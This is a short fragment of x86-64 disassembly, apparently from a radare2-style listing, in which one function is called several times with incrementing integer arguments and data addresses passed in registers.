xor edx, edx
call fcn.1402df760
lea r8, [0x1402e9b40]
mov ecx, 1
mov edx, 1
call fcn.1402df760
lea r8, [0x1402e9b58]
mov ecx, 2
mov edx, 2
call fcn.1402df760
lea r8, [0x1402e9b70]
mov ecx, 3
mov edx, 3
call fcn.1402df760
mov rcx, qword [rsp + 0x88]